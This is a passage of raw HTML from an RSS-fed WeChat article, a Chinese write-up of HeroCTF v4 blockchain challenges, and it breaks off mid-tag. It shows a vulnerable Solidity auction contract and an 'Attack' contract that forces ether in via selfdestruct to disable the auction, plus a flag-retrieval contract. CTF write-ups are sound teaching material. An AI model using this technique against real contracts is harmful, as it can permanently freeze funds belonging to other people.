0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1404" data-index-1654579592493="15087" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="-" data-textnode-index-1653889638433="502" data-index-1653889638433="4751" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="-" data-textnode-index-1654579592493="1405" data-index-1654579592493="15088" class="character" style="margin: 0px;padding: 0px;">-</span></span></span><span data-raw-text="W" data-textnode-index-1653889638433="502" data-index-1653889638433="4752" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="W" data-textnode-index-1654579592493="1406" data-index-1654579592493="15089" class="character" style="margin: 0px;padding: 0px;">W</span></span></span><span data-raw-text="I" data-textnode-index-1653889638433="502" data-index-1653889638433="4753" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="I" data-textnode-index-1654579592493="1407" data-index-1654579592493="15090" class="character" style="margin: 0px;padding: 0px;">I</span></span></span><span data-raw-text="K" data-textnode-index-1653889638433="502" data-index-1653889638433="4754" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="K" data-textnode-index-1654579592493="1408" data-index-1654579592493="15091" class="character" style="margin: 0px;padding: 0px;">K</span></span></span><span data-raw-text="I" data-textnode-index-1653889638433="502" data-index-1653889638433="4755" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="I" data-textnode-index-1654579592493="1409" data-index-1654579592493="15092" class="character" style="margin: 0px;padding: 0px;">I</span></span></span><span data-raw-text="-" data-textnode-index-1653889638433="502" data-index-1653889638433="4756" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="-" data-textnode-index-1654579592493="1410" data-index-1654579592493="15093" class="character" style="margin: 0px;padding: 0px;">-</span></span></span><span data-raw-text="B" data-textnode-index-1653889638433="502" data-index-1653889638433="4757" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="B" data-textnode-index-1654579592493="1411" data-index-1654579592493="15094" class="character" style="margin: 0px;padding: 0px;">B</span></span></span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4758" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="o" data-textnode-index-1654579592493="1412" data-index-1654579592493="15095" class="character" style="margin: 0px;padding: 0px;">o</span></span></span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4759" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="o" data-textnode-index-1654579592493="1413" data-index-1654579592493="15096" class="character" style="margin: 0px;padding: 0px;">o</span></span></span><span data-raw-text="k" data-textnode-index-1653889638433="502" data-index-1653889638433="4760" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="k" data-textnode-index-1654579592493="1414" data-index-1654579592493="15097" class="character" style="margin: 0px;padding: 0px;">k</span></span></span><span data-raw-text=" " data-textnode-index-1653889638433="502" data-index-1653889638433="4761" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=" " data-textnode-index-1654579592493="1415" data-index-1654579592493="15098" class="character" style="margin: 0px;padding: 0px;"> </span></span></span><br style="margin: 0px;padding: 0px;"/></code></pre><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="margin: 20px auto;padding: 0px;max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;width: 900.594px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin: 20px 10px 0px 0px;padding: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="margin: 0px;padding: 0px 0px 0px 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="者" data-textnode-index-1653889638433="499" data-index-1653889638433="4679" class="character" style="margin: 0px;padding: 0px;"></span></span><br style="margin: 0px;padding: 0px;"/></h2><p style="margin: 0px;padding: 0px;font-weight: normal;"><br style="margin: 0px;padding: 0px;"/></p><p style="margin: 0px;padding: 0px;font-weight: normal;"><br style="margin: 0px;padding: 0px;"/></p><p style="margin: 0px;padding: 0px;font-weight: normal;"><br style="margin: 0px;padding: 0px;color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/></p>



<p><a href="2247493540">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bdcf7a58&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493540%26idx%3D1%26sn%3Db8afbe1761fb333c9340ea545d6747ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Jun 2022 13:27:00 +0800</pubDate>
    </item>
    <item>
      <title>HeroCTF v4 - Writeup</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247492995&amp;idx=1&amp;sn=6734e2ee0a7ce01dd2bb7ee1be843399</link>
      <description>HeroCTF v4 - Writeup</description>
      <content:encoded><![CDATA[<p>
<span>wgpsec</span> <span>2022-05-30 13:53</span> <span style="display: inline-block;">湖北</span>
</p>

<p>HeroCTF v4 - Writeup</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2c155db5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAibffNibXgpIzgGMib2XpnAcNXwM1Lc4aSDC8ibk4KFTGRhJXic3XOrgWlaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.629749393694422" data-s="300,640" style="" data-type="png" data-w="2474" src="https://wechat2rss.xlab.app/img-proxy/?k=cedcc86f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAiaKp61zjewU0bXrXpnJbiaUpwMTv1aJNBwJFT5vTgOdN8lcnTqhGCSfw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">Web3</span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span>The nuke auction</span><span style="display: none;"></span><br/></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="686" data-backw="474" data-ratio="1.4461910519951633" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="827" src="https://wechat2rss.xlab.app/img-proxy/?k=39ecf1e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tA6Qmt63ynDGd1HpJv7r03JDliaAp6YzLc5yQhM8pxJqjjzom5yWQlg2Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署合约后查看源码</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="288" data-backw="474" data-ratio="0.6081481481481481" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=e9a4c932&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAcAHtKUQsRz9YKu2nl1b4tObTLTwU13BnOgaG2uvmwo0e7aoKRAbwxQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.13</span>;<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/*<br/>    Ok so i met this guy, he&#39;s got a nuke and he wants to sell it to the highest bidder.<br/>    So I made it possible to buy it there !<br/>*/</span><br/>contract NukeAuction <br/>{<br/>    uint <span style="color: #a626a4;line-height: 26px;">public</span> maxAmount = <span style="color: #986801;line-height: 26px;">10</span> ether;<br/>    address <span style="color: #a626a4;line-height: 26px;">public</span> winner;<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">deposit</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">payable</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(msg.value == <span style="color: #986801;line-height: 26px;">1</span> ether, <span style="color: #50a14f;line-height: 26px;">&#34;You can only send 1 Ether&#34;</span>);<br/>        uint balance = address(this).balance;<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(balance &lt;= maxAmount, <span style="color: #50a14f;line-height: 26px;">&#34;Auction is over&#34;</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (balance == maxAmount) <br/>        {<br/>            winner = msg.sender;<br/>        }<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">claimAuction</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(msg.sender == winner, <span style="color: #50a14f;line-height: 26px;">&#34;Not winner&#34;</span>);<br/>        (bool sent, ) = msg.sender.call{value: address(this).balance}(<span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(sent, <span style="color: #50a14f;line-height: 26px;">&#34;Failed to send Ether&#34;</span>);<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isAuctionSane</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span><br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> (address(this).balance &lt; <span style="color: #986801;line-height: 26px;">10</span> ether);<br/>    }<br/>        <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// Helper function to check the balance of this contract</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">getBalance</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(uint)</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> address(this).balance;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据题目提示，其中存在一个拍卖逻辑，每次只能存入 1 ETH 代币，当 达到 10 ETH 代币时，将可以购买商品，而题目要求阻止拍卖，我们可以通过  selfdestruct() 函数强制打入代币，使合约内得到的代币数量大于 10, 使合约瘫痪</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.13</span>;<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/*<br/>    Ok so i met this guy, he&#39;s got a nuke and he wants to sell it to the highest bidder.<br/>    So I made it possible to buy it there !<br/>*/</span><br/>contract NukeAuction <br/>{<br/>    uint <span style="color: #a626a4;line-height: 26px;">public</span> maxAmount = <span style="color: #986801;line-height: 26px;">10</span> ether;<br/>    address <span style="color: #a626a4;line-height: 26px;">public</span> winner;<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">deposit</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">payable</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(msg.value == <span style="color: #986801;line-height: 26px;">1</span> ether, <span style="color: #50a14f;line-height: 26px;">&#34;You can only send 1 Ether&#34;</span>);<br/>        uint balance = address(this).balance;<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(balance &lt;= maxAmount, <span style="color: #50a14f;line-height: 26px;">&#34;Auction is over&#34;</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (balance == maxAmount) <br/>        {<br/>            winner = msg.sender;<br/>        }<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">claimAuction</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(msg.sender == winner, <span style="color: #50a14f;line-height: 26px;">&#34;Not winner&#34;</span>);<br/>        (bool sent, ) = msg.sender.call{value: address(this).balance}(<span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(sent, <span style="color: #50a14f;line-height: 26px;">&#34;Failed to send Ether&#34;</span>);<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isAuctionSane</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span><br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> (address(this).balance &lt; <span style="color: #986801;line-height: 26px;">10</span> ether);<br/>    }<br/>        <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// Helper function to check the balance of this contract</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">getBalance</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(uint)</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> address(this).balance;<br/>    }<br/>}<br/>contract Attack is NukeAuction {<br/>    NukeAuction  etherGame;<br/>    constructor(NukeAuction  _etherGame) {<br/>        etherGame = NukeAuction(_etherGame);<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">attack</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">payable</span> </span>{<br/>        address payable addr = payable(address(etherGame));<br/>        selfdestruct(addr);<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">正常存入 10 代币，最后利用 selfdestruct 函数强制打入 1 代币造成合约崩溃</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="228" data-backw="474" data-ratio="0.48" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=cd135c88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAZm03e3XFG21plsWWkF0zE2Ed9wibW736C1fE1sYCEictSrhDxtWia0KWg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="273" data-backw="474" data-ratio="0.5755555555555556" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=b84d2af5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAJutibOCaib2NjeeJ1kJIec0Zl5SW2Ee6EGibl9mgVZclCHlZrCj1GaCpw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>Let&#39;s introduce ourselves</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="590" data-backw="474" data-ratio="1.2448132780082988" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="964" src="https://wechat2rss.xlab.app/img-proxy/?k=cfe249da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAm3EN8TrDAgREr46QYenLaVz4psNgd84p2BaibmaPcJXXaUIibQDicypyw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署合约</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="260" data-backw="474" data-ratio="0.5473333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=89ae0196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAxSWAOtQgQjj31VmMxefVSQicwpl640nTdwnDUUGqyWia8o5Y7kiamPlYA%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// SPDX-License-Identifier: MIT</span><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.13</span>;<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// @dev : iHuggsy</span><br/>contract Introduction<br/>{<br/>    <br/>    <br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/**<br/>        Before going into the source code, make sure you visited <a href="http://blockchain.heroctf.fr:22000/help if you need it !" target="_blank">http://blockchain.heroctf.fr:22000/help if you need it !</a><br/>        THERE IS ONE (1) RULE :<br/>            - The whole node system and mining system (and machines that are part of this system) <br/>              does not belong to ANY of the challenges, any attempt to use them in a <br/>              way that is not considered normal in a blockchain environment, pentest them <br/>              or even scan them WILL result in a ban of your entire team without any notice.<br/>        By interacting with the `accept_rules` function that follows, you are signing a contract <br/>        that you agree with the rule.<br/>        (Even if you don&#39;t interact with it, you agree to it lol)<br/>        Have a good one !<br/>        If you run into any problem, feel free to DM me on the Discord <br/>        <span style="color: #a626a4;line-height: 26px;">@dev</span> : iHuggsy<br/>    **/</span><br/>    bytes32 flags;<br/>    mapping (address =&gt; bool) accepted_rules;<br/>    constructor (bytes32 _flagz)<br/>    {<br/>        flags = _flagz;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">get_flag_part_one</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bytes32)</span><br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(accepted_rules[msg.sender] == <span style="color: #a626a4;line-height: 26px;">true</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> flags;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">accept_rules</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span><br/>    </span>{<br/>        accepted_rules[msg.sender] = <span style="color: #a626a4;line-height: 26px;">true</span>;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">首先调用 accept_rules() 方法将 accepted_rules[msg.sender] 设置为 true, 再调用 get_flag_part_one() 方法获取 byte32格式的 Flag, 编写一个函数转换为 String 格式获取可提交的 Flag</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.4</span><span style="color: #986801;line-height: 26px;">.4</span>;<br/>contract Attack {<br/>    <br/>    bytes32 <span style="color: #a626a4;line-height: 26px;">public</span> x = <span style="color: #986801;line-height: 26px;">0x4865726f7b57336c43306d655f325f48337230436834316e5f5740674d317d00</span>;<br/>    <br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">bytes32ToString</span><span style="line-height: 26px;">(bytes32 x)</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span><span style="line-height: 26px;">(string)</span></span>{<br/>        bytes memory bytesString = <span style="color: #a626a4;line-height: 26px;">new</span> bytes(<span style="color: #986801;line-height: 26px;">32</span>);<br/>        uint charCount = <span style="color: #986801;line-height: 26px;">0</span> ;<br/>        <span style="color: #a626a4;line-height: 26px;">for</span>(uint j = <span style="color: #986801;line-height: 26px;">0</span> ; j&lt;<span style="color: #986801;line-height: 26px;">32</span>;j++){<br/>            byte char = byte(bytes32(uint(x) *<span style="color: #986801;line-height: 26px;">2</span> **(<span style="color: #986801;line-height: 26px;">8</span>*j)));<br/>            <span style="color: #a626a4;line-height: 26px;">if</span>(char !=<span style="color: #986801;line-height: 26px;">0</span>){<br/>                bytesString[charCount] = char;<br/>                charCount++;<br/>            }<br/>        }<br/>        bytes memory bytesStringTrimmed = <span style="color: #a626a4;line-height: 26px;">new</span> bytes(charCount);<br/>        <span style="color: #a626a4;line-height: 26px;">for</span>(j=<span style="color: #986801;line-height: 26px;">0</span>;j&lt;charCount;j++){<br/>            bytesStringTrimmed[j]=bytesString[j];<br/>        }<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> string(bytesStringTrimmed);<br/>    }<br/>    <br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" 